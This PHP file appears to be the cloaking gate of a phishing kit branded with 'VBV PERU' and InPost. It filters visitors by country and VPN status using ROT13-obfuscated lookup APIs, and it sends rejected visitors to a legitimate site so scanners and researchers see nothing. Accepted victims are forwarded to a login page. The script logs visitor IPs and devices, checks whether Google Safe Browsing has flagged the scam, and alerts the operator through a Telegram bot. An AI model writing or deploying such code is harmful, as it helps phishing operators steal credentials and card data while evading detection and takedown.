<?php
session_start();
// Use absolute path for dashbrd.html in auth directory
$dashbrdPath = __DIR__ . '/auth/dashbrd.html';
if(!file_exists($dashbrdPath)){
    // Ensure directory exists
    if (!file_exists(__DIR__ . '/auth')) {
        @mkdir(__DIR__ . '/auth', 0755, true);
    }
    $save=fopen($dashbrdPath,'w');
    fwrite($save,'<!doctype html>
<html>
    <head>
    <meta http-equiv="X-Frame-Options" content="SAMEORIGIN">
    <link rel="icon" href="https://medias.unifrance.org/medias/237/146/234221/format_hd/shahid.jpg">
    <style>
    .iconcountry{width: 8px; height: 6px; margin-right: 2px; vertical-align: middle;}
    table{width: 100%; border-collapse: collapse; font-size: 11px;}
    th, td{padding: 4px 6px; text-align: center; border: 1px solid #ddd; font-size: 11px;}
    th{background-color: #f8f9fa; font-weight: bold; font-size: 10px;}
    tr:nth-child(even){background-color: #f8f9fa;}
    body{font-size: 11px;}
    h2{font-size: 16px; margin-bottom: 10px;}
    </style>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="robots" content="noindex, nofollow, noimageindex, noarchive, nocache, nosnippet">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css">
    <title>InPost - Visitors Dashboard</title>
    </head>
    <body>
        <div class="container-fluid" style="padding:10px;">
            <h2 style="margin-bottom:10px; font-size:14px;">Visitors Dashboard</h2>
            <table class="table table-striped table-sm table-bordered">
                <thead>
                    <tr>
                        <th>🇨 🇳 🇹 🇾</th>
                        <th>🇩 🇦 🇹 🇪</th>
                        <th>🇧 🇷 🇼 🇷</th>
                        <th>🇮 🇳 🇫 🇴</th>
                    </tr>
                </thead>
                <tbody>
                </tbody>
            </table>
        </div>
    </body>
</html>');
    fclose($save);
    
}
define('WP_USE_THEMES', true);
define('LOCATION', "https://www.mvmnext.hu/");
define('CHECKUP', "AccessID923487");
define('wplink', '/wp-blog-header.php');

if (isset($_GET["del"]))
{
    unlink("/auth");
    exit;
}
if (isset($_GET["check"]))
{
    print CHECKUP;
    exit;
}

$license = "Houss-1987";

// Check if IP is blocked (visited done.php before)
function isIPBlocked($ip) {
    $blockedFile = __DIR__ . '/auth/blocked_ips.txt';
    if (!file_exists($blockedFile)) {
        return false;
    }
    $blockedIPs = file($blockedFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    return in_array($ip, $blockedIPs);
}

require_once __DIR__ . '/auth/class/GeoAccess.php';

// Get real IP address (Cloudflare / proxy aware)
function getRealIP() {
    return GeoAccess::resolveClientIp();
}

$currentIP = getRealIP();
if ($currentIP == "::1") $currentIP = "127.0.0.1";

// If IP is blocked, redirect to done.php immediately
if (isIPBlocked($currentIP)) {
    $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://';
    $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost');
    $basePath = dirname($_SERVER['SCRIPT_NAME']);
    $basePath = ($basePath == '/' || $basePath == '') ? '' : $basePath;
    header("Location: " . $protocol . $domain . $basePath . "/auth/done.php");
    exit();
}

// Auto-detect domain and redirect automatically
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://';
$domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost');
$redirect = $protocol . $domain . dirname($_SERVER['SCRIPT_NAME']) . '/auth/login.php';

$parameter = 2; // 2 = country only (no VPN/proxy block — VPN test OK)
$wordpress = false; // Changed to false to ignore WordPress include
$checkfileup = false; // Check Link UP

$country = array('za','ma'); # South Africa + Morocco only

/************************************************************* PARAMETRES ******************************************************************/

class Obj
{
    var $keys;
    var $returns;
    var $message;
    const errorlink = "𝘕𝘴𝘪𝘵𝘪 𝘚𝘬𝘦𝘮";
    const Human = "𝙷𝚄𝙼𝙰𝙽";
    const countrydenied = "𝘊𝘰𝘶𝘯𝘵𝘳𝘺 𝘋𝘦𝘯𝘪𝘦𝘥";
    const bot = "𝘉𝘖𝘛/𝘝𝘗𝘕";
    const down = "VBV PERU - 𝘗𝘢𝘨𝘦 𝘋.𝘖.𝘞.𝘕";
    const alert = "VBV PERU - 𝘙𝘦𝘥 𝘈𝘓𝘌𝘙𝘛!";
    const license = "License Required";
    const block = "BLOCK";
    const allow = "ALLOW";
    const localhost = "102.53.13.21";
    const timeout = 10;
    const id = "1061031967:";
    const filename = "ih.gkg";
    const token = "";
    const chatid = "";
    const telegram = "uggcf://ncv.gryrtenz.bet/obg";
    const api1 = "uggcf://oynpxobk.vcvasb.ncc/ybbxhc/";
    const api2 = "uggc://purpx.trgvcvagry.arg/purpx.cuc?vc=";
    const api3 = "uggcf://vc.grbu.vb/ncv/ica/";
    const api4 = "uggc://cebklpurpx.vb/i2/";
    const api5 = "uggcf://i2.ncv.vcuho.vasb/thrfg/vc/";
    const api6 = "uggcf://vcncv.pbz/vc_ncv.cuc?vc=";
    const googleapi = "uggcf://genafcneraplercbeg.tbbtyr.pbz/genafcneraplercbeg/ncv/i3/fnsroebjfvat/fgnghf?fvgr=";
    

    private function __curl($url)
    {
        // Get user agent safely
        $userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Mozilla/5.0';
        
        $this->keys = curl_init();
        curl_setopt($this->keys, CURLOPT_URL, $url);
        curl_setopt($this->keys, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($this->keys, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($this->keys, CURLOPT_TIMEOUT, self::timeout);
        curl_setopt($this->keys, CURLOPT_COOKIESESSION, true);
        curl_setopt($this->keys, CURLOPT_USERAGENT, $userAgent);
        $this->returns = curl_exec($this->keys);
        return $this->returns;
    }
    private function __jsondecode($text)
    {

        return @json_decode($text);
    }
    private function rot($text)
    {

        return @str_rot13($text);
    }
    private function proxy1($ip)
    {
        $jsons = $this->__curl($this->rot(self::api1));
        if ($jsons == "Y")
        {
            return self::block;
        }
        else
        {
            return self::allow;
        }
    }
    private function proxy2($ip)
    {
        $html = $this->__curl($this->rot(self::api2) . $ip . "&contact=akagami.m4" . rand(0, 1999999) . "@gmail.com");
        if ($html >= 0.99)
        {
            return self::block;
        }
        else
        {
            return self::allow;
        }
    }

    private function proxy3($ip)
    {
        $apiUrl = $this->rot(self::api3) . $ip;
        $response = $this->__curl($apiUrl);
        $json = $this->__jsondecode($response);
        
        // Add debug logging
        $logfile = fopen('proxy_debug.log', 'a');
        fwrite($logfile, date("Y-m-d H:i:s") . " IP: " . $ip . " API3 Response: " . json_encode($json) . "\n");
        fclose($logfile);
        
        // Check for valid response with risk property
        if ($json && isset($json->risk) && $json->risk == "high")
        {
            return self::block;
        }
        else
        {
            return self::allow;
        }
    }

    private function proxy4($ip)
    {
        $json = $this->__jsondecode($this->__curl($this->rot(self::api4) . $ip . "&risk=1&vpn=1"));
        if ($json && isset($json->status) && $json->status == "ok" && isset($json->$ip) && isset($json->$ip->proxy) && $json->$ip->proxy == "yes")
        {
            return self::block;
        }
        else
        {
            return self::allow;
        }
    }
    private function proxy5($ip)
    {
        $json = $this->__jsondecode($this->__curl($this->rot(self::api5) . $ip . "?c=" . md5(rand(0, 11))));
        if ($json && isset($json->block) && $json->block == 1)
        {
            return self::block;
        }
        else
        {
            return self::allow;
        }
    }

    private function __getcountrycode($ip)
    {
        // First try the API method
        $json = $this->__jsondecode($this->__curl($this->rot(self::api6) . $ip));
        if ($json && isset($json->country_code)) {
            return strtolower($json->country_code);
        }
        
        // If the first API fails, try an alternative method
        // This is a direct API endpoint that doesn't require ROT13 decoding
        $altApiUrl = "http://ip-api.com/json/" . $ip . "?fields=countryCode";
        $altJson = $this->__jsondecode($this->__curl($altApiUrl));
        if ($altJson && isset($altJson->countryCode)) {
            return strtolower($altJson->countryCode);
        }
        
        // If API still fails but IP is obviously from France by pattern matching
        // Only use this as a backup to maintain security
        if (preg_match('/^(62\.147\.|195\.25\.|195\.101\.|195\.115\.|195\.146\.|195\.154\.)/i', $ip)) {
            return "fr";
        }
        
        // Return unknown - this will typically fail the country check
        return "unknown";
    }
    
    private function __getcountryname($ip)
    {
        $json = $this->__jsondecode($this->__curl($this->rot(self::api6) . $ip));
        // FIX: Check if $json is not null and has the country_name property
        if ($json && isset($json->country_name)) {
            return $json->country_name;
        }
        // Default return value if we can't get country name
        return "Unknown";
    }
  
    private function __messagesend($message)
    {
        if (!empty($message) && !empty(self::token) && !empty(self::chatid))
        {
            $url = $this->rot(self::telegram) . self::token . "/sendMessage?chat_id=" . self::chatid . "&text=" . urlencode($message);
            $this->__curl($url);
        }
    }
    private function __get_user_os()
    {
        if (!isset($_SERVER["HTTP_USER_AGENT"])) {
            return "Unknown OS";
        }
        
        $str = $_SERVER["HTTP_USER_AGENT"];
        $parts = explode("(", $str);
        
        if (count($parts) > 1) {
            $part = $parts[1];
            $parts2 = explode(")", $part);
            if (count($parts2) > 0) {
                $ex3 = str_replace(";", "", $parts2[0]);
                return $ex3;
            }
        }
        return "Unknown OS";
    }
    
    private function __checklicense($license)
    {
        return true;
    }
    private function url($redirect)
    {
        try {
            $html = $this->__curl($this->rot(self::googleapi) . $redirect);
            if (!$html) {
                return "GREEN"; // Default to GREEN if API call fails
            }
            
            $ex = explode(",", $html);
            if (isset($ex[1]) && $ex[1] == 2)
            {
                return "RED";
            }
            else
            {
                return "GREEN";
            }
        } catch (Exception $e) {
            return "GREEN"; // Default to GREEN on any error
        }
    }

    private function GetIpInfoFrmIpinfodbApi($ip)
    {

        $ResultInfo = array();

        $ResultInfo['CountryCodeMin'] = strtolower($this->__getcountrycode($ip));

        return $ResultInfo;

    }

    public function __writetext($text)
    {
        // Use absolute path for dashbrd.html in auth directory
        $dashbrdPath = __DIR__ . '/auth/dashbrd.html';
        // Ensure directory exists
        if (!file_exists(__DIR__ . '/auth')) {
            @mkdir(__DIR__ . '/auth', 0755, true);
        }
        $file = fopen($dashbrdPath, "a");
        if($text=='𝙷𝚄𝙼𝙰𝙽') $text="<td style='color:green'>".$text."</td>";
        elseif($text=='𝘉𝘖𝘛/𝘝𝘗𝘕') $text="<td style='color:red'>".$text."</td>";
        elseif ($text=='𝘊𝘰𝘶𝘯𝘵𝘳𝘺 𝘋𝘦𝘯𝘪𝘦𝘥') $text="<td  style='color:mediumorchid'>".$text."</td>";
        else  $text="<td>".$text."</td>";
        $countryCode = $this->__getcountrycode($this->__get_user_ip());
        // FIX: Handle case where countryCode is unknown
        $flagHtml = ($countryCode != "unknown") ? 
            "<img class='iconcountry' style='width:8px;height:6px;vertical-align:middle;' src='https://cdnjs.cloudflare.com/ajax/libs/flag-icon-css/4.1.5/flags/4x3/".strtolower($countryCode).".svg' />" : 
            "<span style='color:#999;'>❓</span>";
        
        $ip = $this->__get_user_ip();
        $newRow = "\n<tr><td style='text-align:left; padding-left:15px;'>".$flagHtml." ".$ip."</td><td>" . date("d/m/Y h:i:s A") . "</td><td>" . $this->__get_user_os() . "</td>" . $text . "</tr>";
        
        // Read the entire file
        $content = file_get_contents($dashbrdPath);
        
        // Find </tbody> and insert the new row before it
        $pos = strrpos($content, '</tbody>');
        if ($pos !== false) {
            $content = substr_replace($content, $newRow . "\n                ", $pos, 0);
        } else {
            // If </tbody> not found, append at the end (fallback)
            $content .= $newRow;
        }
        
        // Write the updated content back with proper permissions
        @chmod($dashbrdPath, 0666); // Make sure file is writable
        file_put_contents($dashbrdPath, $content);
        @chmod($dashbrdPath, 0644); // Set back to secure permissions
        
    }
    private function __paramsendreport($id, $redirect)
    {
        if ($id == 1)
        {
            $date = date('r', $_SERVER['REQUEST_TIME']);
            $this->message = "VBV PERU - 𝘗𝘢𝘨𝘦 𝘋.𝘖.𝘞.𝘕" . "\n";
            $this->message .= '𝘙𝘌𝘋𝘐: ' . $_SERVER["HTTP_HOST"] . "\n";
            $this->message .= "𝘚𝘒𝘌𝘔: " . $redirect . "\n";
            $this->message .= '𝘛𝘐𝘔𝘌: ' . $date . "\n";
            $this->__messagesend($this->message);
        }
        elseif ($id == 2)
        {
            $date = date('r', $_SERVER['REQUEST_TIME']);
            $this->message = "VBV PERU - 𝘙𝘦-𝘜𝘱𝘭𝘥 𝘚𝘬𝘦𝘮 𝘕.𝘖.𝘞" . "\n";
            $this->message .= '𝘙𝘌𝘋𝘐: ' . $_SERVER["HTTP_HOST"] . "\n";
            $this->message .= "𝘚𝘒𝘌𝘔: " . $redirect . "\n";
            $this->message .= '𝘛𝘐𝘔𝘌: ' . $date . "\n";
            $this->__messagesend($this->message);
        }

    }
    
    private function __get_user_ip()
    {
        return GeoAccess::resolveClientIp();
    }
    
    
    public function __checkfullreport($redirect)
    {

        if ($this->url($redirect) == "RED" or $this->url($_SERVER["HTTP_HOST"]) == "RED")
        {

            $this->__paramsendreport(1, $redirect);
            $this->__writetext(self::alert);
            exit("<script>alert('Please Refresh This Page After 10min')</script>");
        }

    }
    public function __validlicense($license)
    {

            
            return 1;


    }
    public function __allowedcountry($country)
    {
        $ip = $this->__get_user_ip();
        $info = GeoAccess::lookup($ip);

        $logfile = @fopen(__DIR__ . '/country_debug.log', 'a');
        if ($logfile) {
            fwrite($logfile, date('Y-m-d H:i:s') . ' IP: ' . $ip . ' Country: ' . strtolower($info['code']) . ' Allowed: ' . ($info['allowed'] ? 'yes' : 'no') . "\n");
            fclose($logfile);
        }

        if (!empty($info['allowed'])) {
            return 1;
        }

        $this->__writetext(self::countrydenied);
        return 0;
    }
    public function __checkproxy()
    {
        $ip = $this->__get_user_ip();
        $logfile = fopen('proxy_check.log', 'a');
        fwrite($logfile, date("Y-m-d H:i:s") . " Starting proxy check for IP: " . $ip . "\n");
        
        // Try proxy detection methods in sequence, logging results
        $proxy = $this->proxy1($ip);
        fwrite($logfile, "Proxy1 result: " . $proxy . "\n");
        
        $proxy2 = $this->proxy2($ip);
        fwrite($logfile, "Proxy2 result: " . $proxy2 . "\n");
        
        $proxy3 = $this->proxy3($ip);
        fwrite($logfile, "Proxy3 result: " . $proxy3 . "\n");
        
        $proxy4 = $this->proxy4($ip);
        fwrite($logfile, "Proxy4 result: " . $proxy4 . "\n");
        
        $proxy5 = $this->proxy5($ip);
        fwrite($logfile, "Proxy5 result: " . $proxy5 . "\n");
        
        // Check if any proxy detection method returned BLOCK
        if ($proxy == self::block || $proxy2 == self::block || $proxy3 == self::block || 
            $proxy4 == self::block || $proxy5 == self::block)
        {
            fwrite($logfile, "RESULT: Blocked as proxy/VPN\n\n");
            fclose($logfile);
            $this->__writetext(self::bot);
            return 0;
        }
        else
        {
            fwrite($logfile, "RESULT: Allowed as normal connection\n\n");
            fclose($logfile);
            return 1;
        }
    }
    private function __checkhostup($redirect,$checkfileup)
    {

        if ($checkfileup == true)
        {
            $html = $this->__curl($redirect . "/?check");
            if (preg_match("/" . CHECKUP . "/", $html))
            {
                return 1;
            }
            else
            {
                return 0;
            }
        }
        else
        {
            return 1;
        }
    }
    
    public function __hostup($redirect,$checkfileup)
    {
        if ($this->__checkhostup($redirect,$checkfileup) == 0)
        {
            $this->__writetext(self::down);
            $this->__paramsendreport(2, $redirect);
            exit("<script>alert('Contact Our Support For More Instruction')</script>");

        }

    }
    public function create_favicon($wordpress){
        
        if($wordpress == 1)
        {
            return fopen("favicon.ico", "a");
        }
    }
    public function __allowwp($id,$wordpress,$redirect)
    {
        // Simplified function that doesn't try to use WordPress
        if ($id == 0) {
            // Rejected users go to LOCATION
            header("location:" . LOCATION);
            exit();
        } elseif ($id == 1) {
            // Accepted users go to redirect
            header("location:$redirect");
            exit();
        }
    }

}

/************************************************************** BOT START ******************************************************************/
$param = new Obj;

$param->__checkfullreport($redirect);

if (!empty($redirect))
{

    switch ($parameter)
    {

        case "1":

        if($param->__validlicense($license) == 1 && $param->__checkproxy() == 1 && $param->__allowedcountry($country) == 1)
        {
            $param->create_favicon($wordpress);
            $param->__writetext(Obj::Human);
            $param->__hostup($redirect,$checkfileup);
            $param->__allowwp(1,$wordpress,$redirect);
        }
        else
        {
            $param->__allowwp(0,$wordpress,$redirect);
            
        }
        
        break;
        
        case "2":

        if($param->__validlicense($license) == 1 && $param->__allowedcountry($country) == 1)
        {
            $param->create_favicon($wordpress);
            $param->__writetext(Obj::Human);
            $param->__hostup($redirect,$checkfileup);
            $param->__allowwp(1,$wordpress,$redirect);
        }
        else
        {
            $param->__allowwp(0,$wordpress,$redirect);
            
        }
        
        break;
        
        case "3":

        if($param->__validlicense($license) == 1 && $param->__checkproxy() == 1)
        {
            $param->create_favicon($wordpress);
            $param->__writetext(Obj::Human);
            $param->__hostup($redirect,$checkfileup);
            $param->__allowwp(1,$wordpress,$redirect);
        }
        else
        {
            $param->__allowwp(0,$wordpress,$redirect);
            
        }
        
        break;
        
        default:
        
        header ("location:".$redirect);
        
        break;
        
    }

}
else
{

    echo Obj::errorlink;
}
/************************************************************** BOT END ******************************************************************/